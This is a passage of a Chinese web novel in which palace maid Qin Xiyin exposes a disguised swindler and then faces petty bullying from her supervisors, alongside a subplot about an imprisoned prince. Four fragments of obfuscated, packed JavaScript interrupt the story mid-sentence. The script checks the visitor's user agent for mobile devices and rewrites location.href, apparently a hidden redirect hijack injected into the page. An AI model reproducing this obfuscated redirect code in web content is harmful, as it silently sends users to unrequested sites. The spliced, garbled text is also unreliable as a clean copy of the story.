那个工匠闷声道:“你们看清楚,我是男的,你们要找的不是女人吗?” 高毅忽然伸出手,迅速扯掉了那个工匠的络腮胡,露出一张白净的面庞。 没想到,这个工匠的络腮胡竟然是贴上去的。 没了胡子,这个工匠的面庞看起来很像女人。 众人都倒吸了一口凉气。 高毅冷笑道:“终于抓到你了。” 但是,这个工匠还在辩解:“没错,胡子是假的,我贴胡子是为了让自己显得更有男子气概,要不然人家都说我是小白脸……我真的不是你们要找的白衣女子……” 秦惜音道:“是男是女,验一下就知道了,你事到如今还要撒谎吗?这些官爷和官差是男的,我可是女的。你不承认,我就直接摸了。” 这个“工匠”只得说道:“好吧,我承认我就是这些官差要找的那个白衣女贼……但是,我想知道你是怎么发现我的。” 秦惜音道:“一开始,我也以为你不在这里,甚至从来没来过后院。但是,我当时是亲眼见到你往后院跑的。我想,如此矛盾的事,一定有个合理的解释。 我看了看在场的工匠,忽然发现,你头上的汗比其他工匠要多很多。现在是春天,天气不热,如果你一直在后院干活,不会出太多汗的。除非,你是一路跑过来的,而且跑了很远的距离。 再加上,你的身形跟那个白衣女人很像。所以,我有了一个猜测:你就是那个白衣女人,只是装扮成了男人。络腮胡是可以贴的。 你虽然为了隐藏身形,故意弓腰驼背,但你驼得不自然,还是时不时地伸展一下肩膀和手臂。所以,我判断你在假装驼背。 一个不驼背的人,为什么要假装驼背?除非,她是为了掩饰什么。再加上,你还有一个很明显的漏洞。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751574|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这个女人问道:“什么漏洞?” “这里的工匠都在做木工活,所以他们身上都沾了很多木屑,但你的衣服上却没有木屑。这说明,你是刚来这里的。” 这个女人叹道:“我服了。栽在你手上,不冤。还好你是女人,如果是男人,不知道有多少犯人会栽在你手上。” 这时,有个官差问道:“姑娘,还是不对啊。这个女人一开始穿着白衣,但现在怎么穿上了灰衣?她脱下来的白衣在哪里?又是从哪里找出一身灰衣穿上的?” 秦惜音笑道:“这个问题问得好。你觉得她有一身白衣,一身灰衣。但实际上,一加一还是等于一。” 官差抓耳挠腮:“这……这什么意思?一加一为什么会等于一?” “因为,白衣就是灰衣,灰衣就是白衣。她那身衣服是可以双面穿的,一面是白的,一面是灰的。她在跑到后院之前,偷偷把衣服反过来穿。由于她这身衣服穿起来很简单,几乎一瞬间就换好了。 然后,她再贴上假胡子,戴上帽子,佝偻着背走进去,别人就会以为,进去的是一名普通工匠。” 说着,秦惜音就翻开了那个女人的领口,露出里面的一抹白色。 官差这才恍然大悟,围观群众们也啧啧称奇。 “天哪,这小姑娘太聪明了,如果她是我女儿就好了。” “如果她是我妹妹就好了,一定能带领我们家发家致富啊。” “我看,很多官老爷也没有她聪明呢。” 还有些围观群众直接问秦惜音:“姑娘,你叫什么名字?” 秦惜音笑道:“这不重要,有缘自会再遇,大家都散了吧。” 见贼人已经抓到,没热闹可看了,大家都纷纷散去。 高毅让人把那个女贼绑了起来,正准备离开,秦惜音道:“等一下,大人,这里一定还有这个女贼的同伙。” 高毅有些惊讶,而那个女贼则是瞳孔放大,似乎被猜中了心事。 高毅问道:“为何这么说?” 秦惜音道:“你们在追这个女贼,她不往其他店铺跑,偏偏跑到这家具铺的后院,而且还留在这里不走了,这说明她笃定自己能在这里藏身。 但是,在这里干活的工匠应该互相都是认识的,如果突然进来一个陌生男人,拿起工具就开始干活,其他工匠应该会起疑心。 可是,刚才工匠们并没有说,他们这里虽然没有白衣女人,但混进来一个陌生男人。 这说明,这些工匠里面,有人帮忙介绍了这个女贼的身份,把她说成自己人,所以才让其他工匠不起疑。” 高毅点头道:“没错,确实如此。” 这时,有个工匠对旁边的工匠道:“老余,你刚才说,这个女贼假扮的工匠是你师弟,你叫他来帮忙干活。原来,你跟这个女贼是一伙的!” 那个叫做“老余”的工匠见无可抵赖,只得承认了。 高毅让下属们把这个老余也抓起来。 接着,他对秦惜音道:“姑娘,这次能抓到女贼和她的同伙,你功不可没。我会上报长官,给你嘉奖。” 秦惜音笑道:“不用了,只是举手之劳。” “不行,是你的功劳就是你的,你应该得到嘉奖。跟我走吧。” 48. 如获至宝 秦惜音低头笑了笑,跟着高毅往大理寺方向去。 高毅小声道:“现在说话不方便,等一会把人犯交接完了,我再单独跟你说话。” 秦惜音点了点头:“嗯。对了,那个女贼犯了什么罪?” “她骗了很多人的钱,大理寺一直在追捕她。” “哦。” 没过多久,就到了大理寺。 高毅把抓到的两个犯人交给狱丞关押起来,并面见大理寺卿,说明了刚才抓贼的始末,表明了秦惜音的功劳。 大理寺卿是个儒雅的老者,他赞许地看着秦惜音,道:“没想到姑娘这么聪明,这次帮了大理寺的大忙。本官就奖励你三十两银子吧。 可惜你是女儿身,又是宫里的人。否则,本官可以把你留在大理寺,当个小吏。” “谢大人,有银子就可以了。” 高毅道:“大人,我先带这位姑娘离开。” 大理寺卿点了点头。 这时,秦惜音看见房间的书架上,摆着很多跟验尸、刑名之学有关的书籍,便问道:“大人,这些书可否借我两本?” 大理寺卿笑道:“哦?你也对这个感兴趣?” “是。” “可惜你学了也用不上。” “用不上也也没关系,知识多多益善。而且,内宫之中,有时候也会发生命案。如果我有验尸的知识,就能帮忙破案立功了。” 大理寺卿呵呵一笑:“难得你好学不倦,这些书,你看上哪本就拿哪本吧,以后有空归还就行。” “谢大人!” 秦惜音挑了三本书,用布包好,喜滋滋地跟着高毅离开了。 高毅笑道:“你得了这几本书,倒像比捡了钱还高兴。” 秦惜音笑道:“捡到钱不算什么,得到想要的书才是难得的。” 过了一会,高毅把秦惜音带到一间茶室,道:“这是我平时休息的地方,不会有人来。先喝杯茶吧。” 高毅亲自泡了茶给秦惜音喝。 秦惜音经过刚才的一番奔波,确实有些累了,一口气喝了好几杯。 “高大人,这茶里面好像还有水果的清香。” “嗯,我放了一些水果干在里面。这是我自己配的。” “那我也要。” 秦惜音朝高毅伸出了手,高毅笑了笑,说道:“你等着,我给你拿。” 高毅从柜子里拿了一大罐茶叶出来,里面除了茶叶,还有许多水果干。 他把一张大纸撕成小份,每一份装一点点花果茶,一共包了三十份。 然后,他再把这三十小份用另一张大纸包起来。 “惜音,每一小份是一天的量,你想喝时,拿一小份就可以了。多了你拿不动,先给你三十包,下次有机会,我再送你。” 秦惜音笑道:“你竟然会干这么细致的活?你刚才若说要分装,我自己装就行。” “你在我这里不用干活,平时在宫里干的活还不够多吗?” 秦惜音的心如同被小鹿撞了一下,她没想到高毅如此体贴入微。 过了一会,秦惜音一拍脑袋:“等等,我在家具铺买了一大堆家具,还没运回宅子里呢。” “我陪你去。贼人已经抓到,我向长官请了半天假,接下来可以陪你。” 秦惜音兴奋地抓住高毅的手,道:“太好了!” 这时,她忽然意识到自己做了什么,想放开手。 没想到,高毅有些用力地抓住了她的手,不愿松开。秦惜音越是挣扎,他就抓得越紧。 没办法,秦惜音只好跟他手牵着手出了门。 还好门口有马车,他们进马车里,就不会引人注意了。 马车上,秦惜音说道:“把家具搬回私宅后,我还想找个人给我看屋子。毕竟那个屋子里有一些还算贵重的家具了,不能没人看管。还有,皇上赐我五十亩田,我也想去看看。” 高毅道:“这个容易,我找个小厮帮你看屋子,你也免去了雇人的费用。你把私宅的钥匙给我一把,我把你以前的物件都搬过去,有空帮你布置一下。 等你下次去时,就能直接入住了。至于那五十亩田地,我想还是租出去比较好。你只需要每年收租,比较省心。 我看了你的地契,那些土地在郊外,今天你应该没空过去了。如果你信得过我,我帮你去看看,顺便帮你租给别人。” 秦惜音点头道:“好,那就麻烦你了。” “我们俩之间,说什么麻烦不麻烦的话。” 秦惜音把私宅的钥匙给了高毅一把,然后说道:“我还想在私宅设一间粮仓,土地租出去后,我不收钱,让佃农用粮食交租。他们交上来的粮食,我就存在粮仓里。 以后如果能在私宅里住,我就能吃上自己土地的粮食了。如果碰上饥荒,我还能把粮食拿出去赈灾。” 高毅刮了刮秦惜音的鼻子,笑道:“想得倒挺长远的。” 秦惜音脸红了红,道:“所以,你答应我了?” “区区小事,自然答应。” 很快,两人来到了家具铺门口。 高毅还穿着官服,不便进去,免得吓到人。 秦惜音自己进去,找伙计们把购买的家具运送回私宅。 伙计们找了几辆牛车,把家具放上去,往秦惜音的私宅方向运。 旁边有家点心铺,秦惜音想起女史黄莺托自己买点心,就去了点心铺,把黄莺要的点心买了。 她看里面点心种类很多,干脆多买了几样,回去还能跟大家分着吃。 买好之后,她上了高毅的马车,慢慢地在后面跟随,方便随时看着那些家具。 高毅道:“这些家具看起来挺一般的,你没买更贵的吗?” “这些已经很贵了,花了四十多两。” “你花钱还是太省了,我得给你更多钱才行。” “千万别……以我现在的身家来说,我已经很奢侈了。高毅,我知道你不跟我见外,但是,我们没有成亲,我也不能老是从你这儿拿钱。以后,如果我实在缺钱,再向你开口吧。” “好吧,秦女官这么有原则,下官敢不从命。” 秦惜音笑着打了他一下:“你胡说什么呢?我怎么就是女官了?再说了,我又不是你的上级。” 高毅笑了笑,抱住了秦惜音。 过了一会,秦府到了。 高毅和秦惜音下了马车,指挥着伙计们把家具搬进去。 秦惜音买得不多,在第三进院落的其中三间房子各摆了一些家具。 看见卧房里的竹床,秦惜音道:“对了,还得买点寝具……下次再说吧。” 高毅道:“你喜欢什么样的被褥,我帮你买。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751575|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >秦惜音随口说道:“那我可得写下来,你按照我的单子去采买。” “遵命,大人。” 秦惜音一边笑,一边写了单子。然后,她把单子交给了高毅。 高毅帮忙盯着那些伙计放家具,秦惜音没什么事做,就登上了院子里的三层高台。 她随便看看,却看见在后面的巷子里,有一个身材瘦弱的灰衣少年骑马过去。 那灰衣少年有些奇怪,他穿着粗布衣服,穿着灰扑扑的布鞋,浑身没什么装饰物,但仪态却很好看,像是从小就受过训练。 他头戴一顶宽大的草帽,遮住了面容。 光看他的衣着打扮,他似乎很穷。但是,他又骑着一匹名马。 秦惜音对马也有一些了解,那个少年所骑的马是西域良驹,一匹就价值三千多两。 而且,马背上的鞍垫,是用价值高昂的云锦绣成。 秦惜音有些奇怪,不知道这少年究竟是有钱还是没钱。 这时,一阵风吹过,把那少年的帽子吹得往上了一些。但由于帽子的绳子在他下巴处绑住了,帽子并没有掉。 秦惜音也因此看清了那少年的模样,只觉得有几分眼熟,但又想不起来。 那少年察觉到草帽被吹上去了,就重新拉低了草帽,然后快速地离开了这条巷子。 秦惜音忽然记起他是谁了。 刚才骑马而过的人,是庐陵长公主,只不过她女扮男装了。 而且,她戴着那么宽大的帽子,明显是为了遮掩面容。 庐陵长公主为何会突然打扮成这样,一个人骑马离开,身边还没有任何侍从? 秦惜音有些奇怪,但她觉得,皇族的事自己还是少管为妙,就当什么也没看见好了。 她走下亭子,家具已经摆得差不多了,高毅也帮忙打赏了那些伙计,打发他们离开了。 秦惜音见天色也不早了,就准备回宫。 她有点舍不得高毅,但没办法,现在只能暂时分离。 高毅决定再陪她一段路,他跟着秦惜音去拿了之前买的文房四宝和凳子、垫子等物,雇了一辆牛车,一路送秦惜音到皇宫附近。 接下来的路,秦惜音要自己走了。 高毅用力地抱了抱她,道:“自己保重。” “嗯。” 秦惜音挥舞鞭子,指挥着牛车前往宫门。 另一边,庐陵长公主骑马来到郊外,看见了一间破败的房屋。 这房屋看着很多年没人住了,里面还有蜘蛛网、老鼠等物。 庐陵长公主皱了皱眉,还是走了进去。 而她的那匹马,则拴在外面的柳树上。 庐陵长公主走到破旧的灶台边,把一只如白玉般莹润的手伸进了灶膛里,然后拨动了某个机关。 接着,旁边的地上忽然开了一个小口,下面有台阶,可以下去,但黑乎乎的。 她点燃火折子,敛了敛衣襟,走了下去。 没走几步,暗处忽然有几名侍卫围了过来,挡住了庐陵长公主的去路,问道:“来者何人?” 庐陵长公主道:“瓜叶同枝生,瓜落玉叶存。” 那几个侍卫赶紧收回兵器,恭敬说道:“公主,请。” 庐陵长公主面不改色,继续走了下去。 走了大概有两炷香的功夫,她来到了一个地牢门口。 49. 借故刁难 牢房里躺着一个人,身形消瘦,蓬头垢面,但手脚都很长,骨架也很大。可以想见,他以前应该身材魁梧,只是在牢里被饿瘦了。 这个地牢很狭小,有一股难闻的臭味直冲脑门。 庐陵长公主只是皱了皱眉,就对牢房里的人说道:“三皇兄……” 那个蓬头垢面的人突然如鲤鱼打挺般跳了起来,趴到牢房门口,有些惊喜地说:“庐陵,是你来看我了……” “是……三皇兄,我给你带了一些吃的。” 说着,庐陵长公主拿了几包点心,递给里面的人。 这个男人就是曾经的三皇子魏景行,由于跟当今皇帝夺位失败,被囚禁在此。 他迫不及待地拆开包装,吃起了点心,狼吞虎咽的。 庐陵长公主有些心疼地说:“三皇兄,慢点吃……” 她递给了魏景行一个水囊,魏景行接过,“咕噜咕噜”喝了起来。 喝完后,他有些痛快地说道:“好久没喝到这么干净的水了。” 庐陵长公主有些忧愁,道:“三皇兄,我能帮你的也就这么多了。你想吃什么,现在告诉我,我下次来看你时给你买。” “那就还要这几种点心吧……感觉吃不够。” “三皇兄,这都是你以前吃腻了的点心,没想到现在……” “此一时,彼一时。你知道我有多久没有吃到这些点心了吗?” “嗯……” “对了,母后她老人家好吗?” “她很好,皇兄无需惦念。我也会经常回去看她的。” “你来看我的事,皇上知道吗?” “他知道,但默许了。我跟他从来没有当面聊过这事。皇上毕竟还是顾念着亲情的,他虽然把你囚.禁在这里,但没有杀你,还默许我时不时来看你。” 魏景行冷笑道:“我现在这样,还不如死了。” “三皇兄,你别自暴自弃……等以后,我会找个合适的时机,请求皇上把你转移到条件比较好的宅子里圈禁,至少比在地牢里好。不过,得等皇上的气头过去。” 魏景行摇了摇头道:“这是不可能的,我这辈子都要在这儿了……对了,我的孩子们呢?你打听到他们在哪里了吗?” “没有。我已经费了很大劲去调查了,但一直没有查到。” “看来,皇上把他们杀了。” “怎么会呢?皇上都没有杀你,怎么会杀你的孩子?也许,皇上是考虑到地牢环境不好,不适合孩子生存,所以把她们圈禁到了别的地方。” 魏景行沉默了一会,说道:“罢了,不聊这些了……以后你少来看我吧,我怕皇上迁怒于你。” “不会的,他知道我最多就是给你送点吃的。” “对了,告诉母后,无论是在明处还是暗处,都不要表现出对我的思念。否则,我怕皇上他会……” “母后知道该怎么做的,你不用担心。” 魏景行点了点头:“那就好。我生母早亡,幸得母后收养,我早就把她视为亲生母亲。当今皇上以前也不过和我一样,是被母后收养的皇子。小时候他不显山不露水的,我也没想到,他竟然有跟我争夺皇位的能力……我输得好不甘啊……如果我早知道他的野心的话……” “三皇兄,事已至此,别说这些了。你好好休息,我下次再来看你。” 魏景行点了点头。 庐陵长公主离开了地牢。 秦惜音回到宫中,已经是傍晚了。 她把购买的东西交给了掌籍荆双蝶,并把剩余的银两还给了她。 荆双蝶还没说什么,她身边的女史玉秀就说道:“这不对啊,惜音,你怎么花掉这么多钱?” 秦惜音心下一沉,赶紧辩解道:“玉秀姐姐,我没有多花钱。某样东西在某处购买,花了多少钱,我都已经在单子上详细记录了。您如果不信的话,可以去这几家店铺问问看。荆掌籍给我三十两,我只花了十八两五钱而已。” 玉秀责问道:“十八两还不多?你好大的手笔!真是不把公家的钱当钱啊。就说这笔墨纸砚,哪里需要到荣宝斋这种店铺购买?这家店铺很贵的,你难道不会货比三家?还有,你买200文一个的凳子也就罢了,为何买了这么多垫子回来?采购清单上有垫子吗?” “玉秀姐姐,我……” 秦惜音还想说什么,玉秀直接把采购单子甩在了她脸上,骂道:“年纪不大,主意倒挺多!谁让你狡辩了?你给我跪在这里,抄写宫规十遍。” 秦惜音觉得很委屈,玉秀竟然连说话的机会都不给她。 荆掌籍没说什么,直接走了。玉秀搬来桌子和纸笔,让秦惜音跪着抄写宫规。 玉秀道:“你给我好好写,错一个字,惩罚加倍。” 接着,玉秀也走了。 秦惜音有点想哭,但又怕泪水沾湿了纸,因此就忍住了。 多犹豫一会,就得多跪一会。 秦惜音当机立断,掐断所有情绪,开始认真抄写。 写字对她来说不难,宫规她也是一直熟读的,所以写起来很快。 就在她写完第三遍的时候,另一个女史黄莺偷偷跑了过来。 黄莺就是之前托秦惜音带东西的女史,秦惜音见到她,忍不住想倾诉委屈。 没想到,黄莺却并没有询问秦惜音为何会被罚跪,只是问道:“惜音,我之前让你带的零食,你带了吗?” 秦惜音道:“带了,在那边的蓝色包袱里。” “太好了,谢谢啊。” 黄莺打开那个蓝色包袱,把自己的零食给拿走了,剩下的糕点她没拿。 然后,她就离开了。 秦惜音有些惊讶,因为黄莺还没给钱。 但是,这几包零食一共才花了一百多文,钱也不多,如果特意提醒,倒显得自己斤斤计较。 也许黄莺只是忘了,等她想起来,就会给钱了。 秦惜音继续抄写,很快就把十遍宫规给抄完了。 她的双腿又酸又疼,她也不准备继续跪着,就干脆站了起来,去了荆掌籍的房间。 秦惜音敲了敲门,荆掌籍说了一声:“进来吧。” 秦惜音进去之后,发现荆掌籍和女史玉秀对坐着喝茶,很悠闲的样子。 秦惜音把自己抄写的宫规交给了荆掌籍, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751576|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荆掌籍看了之后,点点头,说道:“下去吧。” 玉秀却说道:“这怎么行?荆掌籍,惜音多花了钱,应该用她自己的钱补上公中的账才对啊。以前我出去采购,买这些东西从来没超过十两。 惜音她花了十八两五钱,就算她超支了十两吧。今天小惩大诫,处以双倍罚金,让她上交二十两。” 秦惜音有些惊讶,这个玉秀也太狠了。 秦惜音期待地看着荆掌籍,期待她说句公道话。 没想到,荆掌籍却说道:“其实,这笔钱也不是非交不可。惜音,你来到司籍司,第一件差事就没办好,说明你不适合这里。如果你自请离开六尚局,退回太后宫中做一名宫女,今天的罚金就算了。我还会给你办一场践行宴。 以后见面,照样客客气气的。” 秦惜音更加惊讶。 自己才第一天来,荆掌籍就要赶她走?这是为什么? 照荆掌籍话中的意思,如果自己想留下,只能从私房中掏出二十两到公中账户上。如果不想掏这笔钱,就只能离开。 而且,荆掌籍的意思,还不是让秦惜音离开司籍司,去其他部门当女史,而是所有的部门都不能待,只能回到太后宫中当宫女。 秦惜音不解,而且很愤怒。 但这才第一天,她不能得罪顶头上司。 荆掌籍当然不是这里最高的官,她上面还有典籍、司籍等人,司籍之上还有两名尚仪。 但是,越过直系上司,去找更高的上司伸冤,是职场大忌。 别说她只是第一天到任,就算她已经是这里的老人了,也不能这么做。 因此,秦惜音稍加考虑了一下,便说道:“属下花钱超支了,甘愿受罚。只是,请荆掌籍把公中的账簿拿出来,当着属下的面,把属下的二十两银子记上去。 二十两银子,属下可以拿出来。但如果不一手交钱、一手记账的话,属下怕您贵人事忙,过后把这事给忘了,以为属下没交钱。” 荆掌籍没说话,慢悠悠地喝茶。 玉秀骂道:“惜音,你这话什么意思?荆掌籍难道还会贪你的钱不成?” 秦惜音道:“属下没有这个意思。只是属下揣摩着,宫中办事皆有章法,属下买东西前,没有问明白应该去哪家店铺买,花钱必须控制在几两银子之内,是属下的失误。 已经失误过一次,就不能再失误第二次。否则,岂不有负于荆掌籍的教导?公中如果有收入,应该是立即记账的吧?免得过后忘记。” 荆掌籍起身道:“你说得没错,我这就去把公中的账簿拿来。” 荆掌籍拿来账簿后,秦惜音交了二十两银子,荆掌籍也把这笔账给记上去了。 秦惜音放下心来,向荆掌籍和玉秀礼貌告辞,无论从神色上,还是礼仪上,都挑不出任何差错。 秦惜音离开后,玉秀对荆掌籍道:“表姐,这个惜音宁可交二十两银子也要留下,看来野心不小,我们不得不防。” 荆掌籍摇头道:“防着她有用吗?她在女官考试中考得这么好,上头都吩咐了,她只需要实习一个月,就能升官了。到时候,她就跟我一样了。” 50. 心事重重 玉秀一脸不忿:“表姐,您在这司籍司熬了多少年,才升为八品掌籍,凭什么秦惜音一个月就能升?而且,我们现在跟她结下了梁子,到时候,她跟您平起平坐,只怕会暗中给您使绊子。 就算她不会把您怎么样,要治我是很轻松的,毕竟我只是个末等的女史。” 荆掌籍道:“咱们在这里多少是有点根基的,秦惜音一个罪臣之女,自身都难保,哪还能为难别人?你别担心,就算有人想对你不利,我也能保护你的。” “嗯,表姐,我记住了。还是你对我最好。” “咱们是自家姐妹,自然应该相互扶持的。” 秦惜音有些沮丧地回到房间,正好看见黄莺在开心地吃东西。 另一个女史凑了上去,问道:“黄莺,你这个七白粉能不能给我吃一点?” 黄莺道:“可以啊,挖一勺五文钱。我这也是用钱买的,见谅啊。” 那个女史就没再说话了。 秦惜音见状,觉得黄莺对钱还是挺敏感的,便上前去礼貌询问:“黄莺姐姐,我给你买零食的钱……” 黄莺却笑道:“钱刚才给你了吧?” “没有……” “我记得给你了。你再好好想想。” 秦惜音很惊讶,觉得还真是林子大了什么鸟都有。 她考虑要不要强硬地把钱要回来,但自己是刚来的,也不好跟这里的老人起冲突。 因此,她打算先忍下来,以后有机会再讨账。 于是,秦惜音回到自己的床位上,休息一下,顺便揉一下腿。刚才跪了挺久的,腿很酸。 这时,有另一个瘦小的女史桑落凑到了秦惜音身边,小声问道:“惜音,黄莺是不是让你买东西,没给钱?” “你怎么知道?” “她总是这样。每次都让人买很便宜的东西,如果你不去要账,她也装糊涂;如果你去要账,她就说已经给你钱了。 涉及的数额太小,大部分人都懒得去计较。她父亲是朝中官员,她姑姑是咱们尚仪局的七品典籍,黄典籍。所以,大家都不敢惹黄莺,只能吃哑巴亏。” 秦惜音非常惊讶:“原来她是官家千金,在这里也有人脉……可是,她有这样的势力,竟然只用来贪小便宜?” “谁说不是呢?我们私底下都说她上不了台面。” 秦惜音摇了摇头,不知道该说什么。 这时,桑落又道:“其实,你也不用怕她。她姑姑纵然是七品官,在她姑姑上头却还有其他官,难道她们黄家能一手遮天不成?你得让她知道,不是谁的便宜都能占的。” 秦惜音不置可否地“嗯”了一声。 桑落又问道:“刚才,我走过庭院的时候,看见你被罚跪了?” “是啊,我采购东西超支了,所以被罚跪,还被罚抄宫规十遍。但是,我那样买是有理由的,只是荆掌籍不听我的辩解。” “这不怪你,怪她自己没跟你说清楚。你买东西回来了,她又挑你的毛病。” 听桑落提及长官的不是,秦惜音不敢帮腔,只能沉默着。 桑落又用更小的声音道:“其实,荆掌籍和她身边的那个玉秀,就是嫉妒你而已。你在女官考试中的成绩太突出了,一个月后就能升官,跟荆掌籍平起平坐,她怎么能甘心?她当然要给你使点绊子。 还有那个玉秀,她是荆掌籍的表妹,跟荆掌籍一个鼻孔出气。 其实,你根本不用怕她们俩。我跟你说,咱们尚仪局里最大的官,范尚仪和谢尚仪,都很赏识你呢。 你只需要向她们二位告状,一定叫荆掌籍吃不了兜着走。” 秦惜音笑着摇了摇头,说道:“谢谢你的提醒,还是算了。” “别呀,你忍了这一次,她们就会变本加厉。你得让她们知道,你不是好惹的。” 秦惜音装作胆小的样子,说道:“罢了罢了,我刚来,还是别惹事的好。不管以后怎样,这一个月我只想谨慎度日。” 桑落还想说什么,但见秦惜音这样,也就不再鼓动她了,只说道:“总之呢,你有什么事可以找我帮忙。” “谢谢桑落姐姐。” 桑落回到了自己的床位上。 秦惜音看着她的背影,陷入沉思。 这个桑落,究竟是心直口快、口无遮拦,还是想驱虎吞狼、坐收渔利? 她刚才表面上为秦惜音鸣不平,但话里话外都在鼓励秦惜音跟黄莺、玉秀甚至荆掌籍对着干。她甚至连对着干的方式都想好了,就是让秦惜音越级上告。 秦惜音初来乍到,自然要谨慎些,不会轻易相信一个人。 她想,时间会证明一切的。 今天她所经历的一切,都在证明,司籍司不是一个单纯的场所。 她必须多留个心眼。 很快,到了睡觉的时间。 秦惜音虽然有很多心事,睡不着,但还是躺了下来,闭上眼睛。 她没有熬夜的资本,明天还有一大堆活等着她干呢。 她琢磨了一下,目前她所认识的同僚里面,很多人都各怀心思。 黄莺喜欢占便宜,但她如果只是占点小便宜的话,反而是问题最轻的、最容易相处的人。 桑落心思活络,能言善道,其内心有待观察。 荆掌籍和玉秀这一对表姐妹,好像把秦惜音当成了假想敌,在第一天就开始给秦惜音设套了。 其他的人,她暂时还不熟。 以后的路,究竟该怎么走? 更糟糕的是,荆掌籍是她的直系上级,在未来的一个月内,自己都要听荆掌籍的。 即便一个月后,秦惜音顺利升为掌籍,那也比不过荆掌籍资格老,自己还是要矮她一头。 还有,司籍司目前的环境并不安全,秦惜音觉得自己最近最好不要跟高毅通信,免得信被别人看见,惹出是非。 她住的是十人寝,也很难背着室友做些什么。 秦惜音心里千头万绪的,感觉理不清。 想着想着,她沉沉睡去。 第二天一早,荆掌籍让秦惜音布置一下讲学堂,一会可能会有小宫女来听课。 司籍司每天会排五六节课,从早到晚都有。 有空的小宫女可以根据自己的时间来上课,如果上课人数达到三人,就由女官们授课。 如果不足三人,就自己看书。遇到不懂的,可以问巡逻的女史们。 秦惜音问荆掌籍:“掌籍,请问现在要准备多少笔墨纸砚?” 荆掌籍道:“根据以往的经验,每一堂课很少能凑齐三人。你先布置六到八个位置吧,其他的位置不用管。” “是。” 秦惜音走进讲学堂,见这里放着二十来张书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751577|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌,每张书桌都配了一把凳子。 前面的几把凳子,都是秦惜音昨天买的。后面的凳子才是旧的。 而且,每把凳子上,都摆上了秦惜音购买的坐垫。 秦惜音有些惊讶。玉秀和荆掌籍昨天还说,这坐垫不该买,没想到她们却用上了。 秦惜音也没处说理去,只能默默地准备纸笔。 她在前八张桌子上都放上了笔墨纸砚,并摆得平平整整的。 接着,她又在这些桌子上摆了一小碗水,用于磨墨。 她思考着还缺什么,过了一会,她在这些桌上又摆了一杯喝的水。 这样,应该万事俱备了。 今天是秦惜音和玉秀两位女史巡逻讲学堂。 如果来的人只有一两个,秦惜音和玉秀负责给她们讲解。 如果来的人在三个及以上,由荆掌籍上课,秦惜音和玉秀在一边帮忙。 离上课还有一刻钟,秦惜音站在门口等着。 没想到,第一个来的宫女,是太后殿的逢春。 之前,逢春为了耽误秦惜音复习,故意给秦惜音安排很多活,还把坏了的花种交给秦惜音,让她种出花来。 没想到,最后逢春没考上,秦惜音反倒考上了。 两人也算狭路相逢,逢春明显愣了一下,并用戒备的眼神看了秦惜音一眼。 秦惜音只作未觉,笑着说道:“逢春姐姐,早。” 逢春见到秦惜音的神色,松了一口气,觉得秦惜音应该不知道自己以前所做的事。 因此,她也就故作镇定,说道:“惜音姑娘,又见面了。” “逢春姐姐像以前一样,叫我惜音就好。” “不,你现在是女史了,我不能再像以前那样。” 说着,逢春就踏进了讲学堂,坐在第一排。 秦惜音觉得,自己就这样一直装傻比较好,没必要为了以前的事,跟逢春决裂。 一来,逢春毕竟是太后身边的老人了;二来,之前的事也没有证据,毕竟逢春给秦惜音安排工作,也没什么好指摘的。劣质花种的事,她也可以解释为自己不懂花种的优劣,给错了种子。 三来,这宫中本就危机四伏了,敌人能少一个是一个。真心的朋友难求,但是能跟大多数人维持表面朋友的关系,对自己也是有百利而无一害的。 这样很累,但是逞一时之快,树敌太多,是很危险的。 相比之下,倒不如累一点。 人生本来就没有坦途,除非你一直在父母或是夫君的庇护下。 想自己成长,就要迎接风雨。 秦惜音发现,逢春一坐下,就开始认真地看书。 她心中有些感慨,其实,逢春是很好学的。只是,逢春可能在学习方面愚笨一些,即便努力了,成效也不大。 像逢春这样的人,一旦发现身边有人可以轻而易举地学得比自己好,产生失落、嫉妒甚至愤恨的情绪,都是很正常的。 当然,秦惜音并不是赞同逢春害人的举动。她只是觉得,在宫廷这样的环境下,无处安放逢春那颗失衡的心,逢春因为焦虑而做出一些事,是可以理解的。 